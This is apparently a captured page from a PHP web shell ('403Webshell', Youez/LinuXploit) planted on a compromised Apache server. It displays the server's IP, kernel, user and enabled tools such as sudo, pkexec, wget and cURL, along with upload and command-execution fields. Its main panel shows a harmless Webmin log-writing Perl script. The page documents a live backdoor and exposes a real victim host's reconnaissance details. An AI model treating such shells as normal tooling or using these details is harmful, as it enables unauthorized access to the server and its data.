403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/writelogs.pl
#!/usr/bin/perl
# Receives Apache logs as input, and appends them to the server's log file

$no_acl_check++;
@ARGV == 2 || die "usage: writelogs.pl <domain-id> <file>";
($did, $file) = @ARGV;

if ($file !~ /^\//) {
	do './virtual-server-lib.pl';
	$d = &get_domain($did);
	$d || die "Invalid domain ID $did (user $< error $!)";
	$path = "$d->{'home'}/$file";
	}
else {
	$path = $file;
	}

# Intentionally ignore errors, like a missing logs dir
$| = 1;
if (-l $path) {
	print STDERR "Log target $path is a symlink\n";
	}
else {
	open(FILE, ">>$path") || print STDERR "Failed to open $path : $!";
	select(FILE); $| = 1; select(STDOUT);
	while(<STDIN>) {
		print FILE $_;
		}
	close(FILE);
	}


Youez - 2016 - github.com/yon3zu
LinuXploit